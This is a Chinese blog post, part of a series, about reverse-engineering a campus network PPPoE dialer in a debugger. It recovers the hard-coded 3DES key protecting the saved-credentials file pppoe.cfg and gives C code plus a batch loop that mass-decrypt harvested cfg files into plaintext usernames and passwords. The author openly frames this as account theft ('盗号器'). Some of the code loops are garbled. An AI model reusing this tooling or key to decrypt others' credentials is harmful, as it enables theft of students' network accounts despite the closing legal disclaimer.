您现在的位置: Tracy‘Blog > 博客 > 黑人黑事 > 正文
校园网那些事(四)

【校园网那些事 —— 高级篇】

Chapter 1——加密解密之3DES算法

    还记得先前我们一直在做的一件事情么?恩,盗号,这些看起来很久很简单的方法对于不在意网络安全的那部分人来说还算是致命的,讲了那么久的攻击,其实防范也很简单,在前面的原理分析中都附有了防范的方法,赶紧回去给自己加固吧。

    盗号无非就是获得我们想要的pppoe.cfg了,恩,然后,我们再一个个的改名放入带有hook过的dll文件的文件夹下,运行拨号程序,弹出我们的真实密码,然后记录起来。神马?一个个改名?又是一个个改名?我们是这一步完全可以省略掉不是么?嗯,那么,我们今天要做的解决这个问题。

    还记得曾经的某一个猜想么?就是,pppoe.cfg中是存放用户名和密码的,那么具体是真实密码还是原始密码呢?是啊,这个文件是干嘛用的啊?

    打开OD装载程序,对文件操作,哦,对文件,那么下断点吧,是用的什么断点呢?额,于是习惯性的找出C32asm来配合,用C32asm打开客户端程序(后文简称:蝴蝶.exe),Ctrl+I打开导入表这一栏,然后搜索框中搜一下CreateFile居然没发现?然后试了下其他的有关File方面的搜索,都没找到什么可用的api调入,先不管,直接在命令框输入:bp CreatefileA又没出错,那就证明断下来了。可是为什么在C32下没显示呢?现在都还没搞清楚。

   之后,我们F9让它跑起来,发现程序依次读取了下面这些文件:

0012DB3C   0012EC70  p?.   |FileName = "C:\WINDOWS\pinfo.txt"

0012F294   0012F428  (?.   |FileName = "C:\WINDOWS\pcheck.txt"

0012F2A8   0012F43C 

0012F4B0   0012FB48  H?.   |FileName = "J:\校园网\拨号\pppoe.cfg"

    嗯哼,到了,要的就是你了,不对,这个过程它是在读取,读取的过程中要把里面的信息显示到UI中,应该要对它解密吧,我们接着看看Alt+F9回到程序领空,在前面那个Call那里F2断下,方便下次直接跟进。之后F7,一直跟下去。

    发现,在00402893 call Tracy.004038F0执行后。堆栈中出现了我们pppoe.cfg保存的账号和密码。那也就是说,在我们摁下F2下断点的地方到00402893中间,肯定有一个对文件内容解密的一个函数被调用了。恩,返回突然间就缩小了。重载程序再来分析。

    用为了方便我们识别pppoe.cfg中的内容,我们用WinHex打开文件。看到了下面的东西:


    看一下,留个印象就行了,反正对着它是看不出什么的。这下可以取消刚才的CreatFileA断点了,直接运行到00423415  call dword ptr ds:[<&kernel32.CreateFileA>]   ; \CreateFileA处,然后看代码:

以下是代码片段:
00423415  |.  FF15 C4014300 call dword ptr ds:[<&kernel32.CreateFileA>]   ; \CreateFileA
0042341B  |.  83F8 FF       cmp eax,-1
0042341E  |.  75 28         jnz short Tracy.00423448
00423420  |.  8B75 10       mov esi,dword ptr ss:[ebp+10]
00423423  |.  85F6          test esi,esi
00423425  |.  74 1D         je short Tracy.00423444
00423427  |.  FF15 D0014300 call dword ptr ds:[<&kernel32.GetLastError>]  ; [GetLastError
0042342D  |.  50            push eax
0042342E  |.  8946 0C       mov dword ptr ds:[esi+C],eax
00423431  |.  E8 93500000   call Tracy.004284C9
00423436  |.  FF75 08       push dword ptr ss:[ebp+8]
00423439  |.  8D4E 10       lea ecx,dword ptr ds:[esi+10]
0042343C  |.  8946 08       mov dword ptr ds:[esi+8],eax
0042343F  |.  E8 28FAFFFF   call Tracy.00422E6C
00423444  |>  33C0          xor eax,eax
00423446  |.  EB 08         jmp short Tracy.00423450
00423448  |>  8946 04       mov dword ptr ds:[esi+4],eax
0042344B  |.  895E 08       mov dword ptr ds:[esi+8],ebx
0042344E  |.  8BC3          mov eax,ebx
00423450  |>  5F            pop edi
00423451  |.  5E            pop esi
00423452  |.  5B            pop ebx
00423453  |.  C9            leave
00423454  \.  C2 0C00       retn 0C

    其中0042341E的jnz是判断是否读取成功,成功则跳,所以我们就到了00423448了,然后后面都是堆栈恢复,retn跳出来之后的代码如下:

以下是代码片段:
0042324A  |.  85C0          test eax,eax
0042324C  |.  75 0E         jnz short Tracy.0042325C
0042324E  |.  FF75 EC       push dword ptr ss:[ebp-14]
00423251  |.  FF75 E8       push dword ptr ss:[ebp-18]
00423254  |.  FF75 E4       push dword ptr ss:[ebp-1C]
00423257  |.  E8 02520000   call Tracy.0042845E
0042325C  |>  897D DC       mov dword ptr ss:[ebp-24],edi
0042325F  |.  8D4D EC       lea ecx,dword ptr ss:[ebp-14]
00423262  |.  C645 FC 05    mov byte ptr ss:[ebp-4],5
00423266  |.  E8 BCFAFFFF   call Tracy.00422D27
0042326B  |.  8B4D F4       mov ecx,dword ptr ss:[ebp-C]
0042326E  |.  8BC6          mov eax,esi
00423270  |.  5F            pop edi
00423271  |.  5E            pop esi
00423272  |.  64:890D 00000>mov dword ptr fs:[0],ecx
00423279  |.  C9            leave
0042327A  \.  C2 0800       retn 8

    0042324C的jnz是判断前一call是否成功运行,成功则跳转到0042325C,来到00423266的这个call处,刚跟过来后没发现什么这个call中出现什么异常,所以直接F8过。

    又一个retn后:

以下是代码片段:
0040282B  |.  B9 00010000   mov ecx,100
00402830  |.  33C0          xor eax,eax
00402832  |.  8DBD C4F9FFFF lea edi,dword ptr ss:[ebp-63C]
00402838  |.  C645 FC 03    mov byte ptr ss:[ebp-4],3
0040283C  |.  F3:AB         rep stos dword ptr es:[edi]                   ;  清空堆栈
0040283E  |.  8B45 E0       mov eax,dword ptr ss:[ebp-20]
00402841  |.  8D4D DC       lea ecx,dword ptr ss:[ebp-24]
00402844  |.  3BC3          cmp eax,ebx
00402846  |.  75 0A         jnz short Tracy.00402852
00402848  |.  E8 080D0200   call Tracy.00423555
0040284D  |.  E9 F9000000   jmp Tracy.0040294B
00402852  |>  E8 DD0D0200   call Tracy.00423634
00402857  |.  8BF0          mov esi,eax
00402859  |.  83FE 0C       cmp esi,0C
0040285C  |.  7C 47         jl short Tracy.004028A5
0040285E  |.  81FE 00040000 cmp esi,400
00402864  |.  76 05         jbe short Tracy.0040286B
00402866  |.  BE 00040000   mov esi,400
0040286B  |>  8D8D C4F9FFFF lea ecx,dword ptr ss:[ebp-63C]
00402871  |.  56            push esi                                      ; /Arg2
00402872  |.  51            push ecx                                      ; |Arg1
00402873  |.  8D4D DC       lea ecx,dword ptr ss:[ebp-24]                 ; |
00402876  |.  E8 DC0B0200   call Tracy.00423457                           ; \Tracy.00423457
0040287B  |.  6A 01         push 1
0040287D  |.  6A 12         push 12
0040287F  |.  68 E0B04300   push Tracy.0043B0E0                           ;  ASCII "0herolibamtium0"
00402884  |.  8D95 C4F9FFFF lea edx,dword ptr ss:[ebp-63C]
0040288A  |.  56            push esi
0040288B  |.  8D85 C4F9FFFF lea eax,dword ptr ss:[ebp-63C]
00402891  |.  52            push edx
00402892  |.  50            push eax
00402893  |.  E8 58100000   call Tracy.004038F0

    我们看到了得到账号密码的00402893处。

    那么范围又缩小了,一直跟,过到00402852还是没发现什么猫腻。恩,于是来到0040287F处前面两个传参,肯定有问题,看了下:


   2A十六进制,化成十进制那就是42,哦,42,嗯?回到刚winhex的那张图片,数据的总位数不也是42么?嘿,没猜错的话,这一段应该是对文件操作,先不管它做了什么,Arg1不就是刚开辟的那块堆栈么?这其中肯定有一些不可告人的秘密,右键,数据窗口中跟随。然后果断F8过掉这个Call,再看看发生了什么。


    来,跟上面WinHex的图片对比一下。哦,原来他是读取的作用哦。存放在这里,那么,怎么放这里干嘛呢?谁又对它操作了呢?来到54上面,右键,硬件访问断点(Ps:其实也没必要,因为过掉后面一个Call后,里面就解密了。下这个断点是为了方便大家以后跟踪的时候多一种思路)。

    咦?跟着这个伟大发现的Call后面又是一对push,总共传了六个参数,这个中间有间隔还是什么原因,OD没发现。

以下是堆栈中六个参数:
0012F620   0012F644  D?.
0012F624   0012F644  D?.                //地址
0012F628   0000002A  *...               //长度
0012F62C   0043B0E0  喟C.   ASCII "0herolibamtium0"   //密钥
0012F630   00000012  ... 
0012F634   00000001  ...

    嗯,先过掉紧跟在后面的Call,看看有什么变化没,不过,记得及时下断,免得等下又得跟来跟去。F8,发现这段堆栈的内容变了。


出现了我们的输入保存起来的账号密码,那也就是说,00402893这个Call就是我们的解密Call了。

    OK,慢慢清晰起来了,再次重载,直接断在00402893处。这次不F8了,换F7进去。

    发现了一段很好识别的函数段:

以下是加密函数代码片段:
004038F0  /$  53            push ebx
004038F1  |.  56            push esi
004038F2  |.  8B7424 0C     mov esi,dword ptr ss:[esp+C]
004038F6  |.  57            push edi
004038F7  |.  85F6          test esi,esi
004038F9  |.  0F84 BD000000 je Tracy.004039BC
004038FF  |.  8B7C24 14     mov edi,dword ptr ss:[esp+14]
00403903  |.  85FF          test edi,edi
00403905  |.  0F84 B1000000 je Tracy.004039BC
0040390B  |.  8B4424 1C     mov eax,dword ptr ss:[esp+1C]
0040390F  |.  85C0          test eax,eax
00403911  |.  0F84 A5000000 je Tracy.004039BC
00403917  |.  8B4C24 18     mov ecx,dword ptr ss:[esp+18]
0040391B  |.  8D59 07       lea ebx,dword ptr ds:[ecx+7]
0040391E  |.  83E3 F8       and ebx,FFFFFFF8
00403921  |.  0F84 95000000 je Tracy.004039BC
00403927  |.  8B5424 20     mov edx,dword ptr ss:[esp+20]
0040392B  |.  55            push ebp
0040392C  |.  52            push edx
0040392D  |.  50            push eax
0040392E  |.  E8 9D000000   call Tracy.004039D0
00403933  |.  A0 68314400   mov al,byte ptr ds:[443168]
00403938  |.  83C4 08       add esp,8
0040393B  |.  84C0          test al,al
0040393D  |.  75 2B         jnz short Tracy.0040396A
0040393F  |.  C1FB 03       sar ebx,3
00403942  |.  85DB          test ebx,ebx
00403944  |.  7E 6F         jle short Tracy.004039B5
00403946  |.  8B6C24 28     mov ebp,dword ptr ss:[esp+28]
0040394A  |>  55            /push ebp
0040394B  |.  68 6C314400   |push Tracy.0044316C
00403950  |.  57            |push edi
00403951  |.  56            |push esi
00403952  |.  E8 F9000000   |call Tracy.00403A50
00403957  |.  83C4 10       |add esp,10
0040395A  |.  83C6 08       |add esi,8
0040395D  |.  83C7 08       |add edi,8
00403960  |.  4B            |dec ebx
00403961  |.^ 75 E7         \jnz short Tracy.0040394A
00403963  |.  5D            pop ebp
00403964  |.  5F            pop edi
00403965  |.  5E            pop esi
00403966  |.  B0 01         mov al,1
00403968  |.  5B            pop ebx
00403969  |.  C3            retn
0040396A  |>  C1FB 03       sar ebx,3
0040396D  |.  8BEB          mov ebp,ebx
0040396F  |.  85ED          test ebp,ebp
00403971  |.  7E 42         jle short Tracy.004039B5
00403973  |.  8B5C24 28     mov ebx,dword ptr ss:[esp+28]
00403977  |.  84DB          test bl,bl
00403979  |.  0F944424 28   sete byte ptr ss:[esp+28]
0040397E  |>  53            /push ebx
0040397F  |.  68 6C314400   |push Tracy.0044316C
00403984  |.  57            |push edi
00403985  |.  56            |push esi
00403986  |.  E8 C5000000   |call Tracy.00403A50
0040398B  |.  8B4424 38     |mov eax,dword ptr ss:[esp+38]
0040398F  |.  50            |push eax
00403990  |.  68 6C344400   |push Tracy.0044346C
00403995  |.  56            |push esi
00403996  |.  56            |push esi
00403997  |.  E8 B4000000   |call Tracy.00403A50
0040399C  |.  53            |push ebx
0040399D  |.  68 6C314400   |push Tracy.0044316C
004039A2  |.  56            |push esi
004039A3  |.  56            |push esi
004039A4  |.  E8 A7000000   |call Tracy.00403A50
004039A9  |.  83C4 30       |add esp,30
004039AC  |.  83C6 08       |add esi,8
004039AF  |.  83C7 08       |add edi,8
004039B2  |.  4D            |dec ebp
004039B3  |.^ 75 C9         \jnz short Tracy.0040397E
004039B5  |>  5D            pop ebp
004039B6  |.  5F            pop edi
004039B7  |.  5E            pop esi
004039B8  |.  B0 01         mov al,1
004039BA  |.  5B            pop ebx
004039BB  |.  C3            retn
004039BC  |>  5F            pop edi
004039BD  |.  5E            pop esi
004039BE  |.  32C0          xor al,al
004039C0  |.  5B            pop ebx
004039C1  \.  C3            retn

    有经验的应该看着这几个循环就知道是3DES了,可我不知道啊,于是,傻乎乎的跟着这些循环各种F8、F7,乱搞一气后,把自己给转晕乎了。

    于是网上发帖求救,http://bbs.pediy.com/showthread.php?t=144811,好心的exile给我解答了。再次感谢,而后,他还给过我很多帮助,真心感谢你。

    不过,他没说明缘由,用邮箱跟他交流,他说自己跟着跟着就出来了,好吧,还是得自己去跟。不过这个过程中,我又学到了很多(如果他全告诉我了,估计向我这么懒的人就不会自己去摸索了,嘿嘿)。再次感谢~。

    好吧,要讲3DES,先看看DES的一些知识。

    DES 使用一个 56 位的密钥以及附加的 8 位奇偶校验位,产生最大 64 位的分组大小。这是一个迭代的分组密码,使用称为 Feistel 的技术,其中将加密的文本块分成两半。使用子密钥对其中一半应用循环功能,然后将输出与另一半进行“异或”运算;接着交换这两半,这一过程会继续下去,但最后一个循环不交换。DES 使用 16 个循环,使用异或置换代换移位操作四种基本运算。——来自百度百科

    然后在论坛里看到了这些个帖子:

http://bbs.pediy.com/showthread.php?t=90593&highlight=des

http://bbs.pediy.com/showthread.php?t=17801&highlight=3DES

http://baike.baidu.com/view/350958.htm

    再结合exile给的源码,慢慢看啊慢慢看。然后回想刚传进去的参数,16位的密钥应该就是“30 68 65 72 6F 6C 69 62 61 6D 74 69 75 6D 30 00  0herolibamtium0.”吧。然后呢,然后还是没看懂。额,还是用他给的代码吧。不过至少知道了这个加密算法的长相。红色的那一部分是主要的16轮循环。至于前面,是一些变形或者处理吧,在这也麻烦懂的人说说哈,3DES我确实没弄懂,后面的MD5倒是自己一个个跟出来了。所以,这个我也不知道该怎么详说了。

    之后,就直接用exile提供的代码。来利用了,我们是要一次性把文件夹中所有pppoe.cfg文件给它解密了。

    那我们先要直接把他提供的代码作为一个函数输出就行了。贴上main函数的代码和注释,我的程序写的很烂的,也希望大家给点指教。比如下面代码中哪些可以简化,哪些不规范。谢了。

以下是mian()函数片段:
int main(int argc,char *argv[])

    char a[]="pppoe.cfg";
    if (argc<2)
    {
        argv[1]=a;             //如果没有参数传入,则默认打开pppoe.cfg
    }
    char user[15];             //学校账号长度都在15字符以内
    char pwd[10];              //学校账号密码都为6字符
    unsigned char npwd[10];    //真实密码
    FILE* ifile = 0;           //对pppoe.cfg文件,读
    FILE* ofile = 0;           //对pppoe.txt文件,写
    int c,i,j = 0;        
    int id=0;                  //读文件时的计数变量
    unsigned char rawData[50]; //与exile的代码衔接
    if ((ifile = fopen(argv[1], "rb"))==NULL)   //文件打开操作
    {
        printf ("Can't open file %c \n",argv[1]);
        exit (1);
    }
    while ((c = fgetc(ifile)) != EOF)//以十六进制读取文件内容并且存放到rawData[50]中
    {
        rawData[id]=c;
        id++;
    }
    int len = sizeof(rawData);     //返回文件总长度
    len = len%8?(len/8+1)*8:len;   //与exile的代码衔接
    BYTE *buf = (BYTE *)malloc(len);//与exile的代码衔接
    memset(buf, 0, len);//与exile的代码衔接
    memcpy(buf, rawData, sizeof(rawData));//与exile的代码衔接
    for (i=0; i     {
        Des3Decrypt(buf+i*8);
    }//与exile的代码衔接,执行完整个3DES解密过程
    for (i=0,j=12;i    {
        user[i]=buf[j];
    }
    user[i+1]=0x2C;//添加一个逗号,方便bat程序对pppoe.txt操作
    for (i=0,j=16+buf[8];i {
  pwd[i]=buf[j];
 }//获得保存在pppoe.cfg中的密码
 i=0;
 for (j=0; j {
  c=(int)pwd[j];
  switch (c)
  {
   case 48: npwd[i]=0x48;break;
   case 49: npwd[i]=0xc8;break;
   case 50: npwd[i]=0x49;break;
   case 51: npwd[i]=0xc9;break;
   case 52: npwd[i]=0x58;break;
   case 53: npwd[i]=0xd8;break;
   case 54: npwd[i]=0x59;break;
   case 55: npwd[i]=0xd9;break;
   case 56: npwd[i]=0x68;break;
   case 57: npwd[i]=0xe8;break;
  }//因为前面用hook的方法把0-9的对应密文找出来了,所以,直接用上,到后面的文章中会把这一段的加密算法也弄出来的
  i++;
 }
    npwd[i]=0x0001;
    npwd[i+1]=0x0002;//这两个要用%c写入,因为,在1.2.0版本升级1.2.9后,为了防止手机或者路由上网,客户端对密码加了两个键盘输入不了的字符0001和0002
    if ((ofile = fopen("pppoe.txt", "a"))==NULL)
    {
        printf ("Can't open file pppoe.txt \n");
        exit (1);
    }//打开文件
    for (i=0;i     {
        fprintf(ofile,"%c",user[i]);
    }
    fprintf(ofile,"%c",user[i+1]);//在文件中输入一个逗号
    for (i=0;i    {
        fprintf(ofile,"%2x",npwd[i]);
    }
    fprintf (ofile,"%c",npwd[i]);
    fprintf (ofile,"%c",npwd[i+1]);//输入特殊符号,并以换行结尾
    fprintf(ofile,"%c",0X2C);//在文件中输入一个逗号
    for (i=0;i    {
        fprintf(ofile,"%c",pwd[i]);
    }
    fprintf(ofile,"\n");
    free(buf);
    fclose(ifile);
    fclose(ofile);
}

   之后在我们的盗号器1.1.bat后面加上一句:

    for /f "delims=" %%i in ('dir /a-d /b "*.cfg"') do get.exe %%i

    便可以完全的解放我们的双手,在盗得账号之后,自动获取真实密码保存到pppoe.txt中。

    恩,今天就到这里了。还是希望大家能对3DES算法做一个很好的解释哦。也希望大家提出建议帮我提高我代码可读性哈。

 

 

(……未完待续……)

声, 明:此文仅做技术参考、思路指引、网络安全概念的推广。并不涉及传播入侵知识、等非法行为。如用作非法之途,所造成后果由个人自行承担。《中华人民共和国刑法》有关计算机犯罪条例计算机软件保护条例

 

发表评论(0)
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’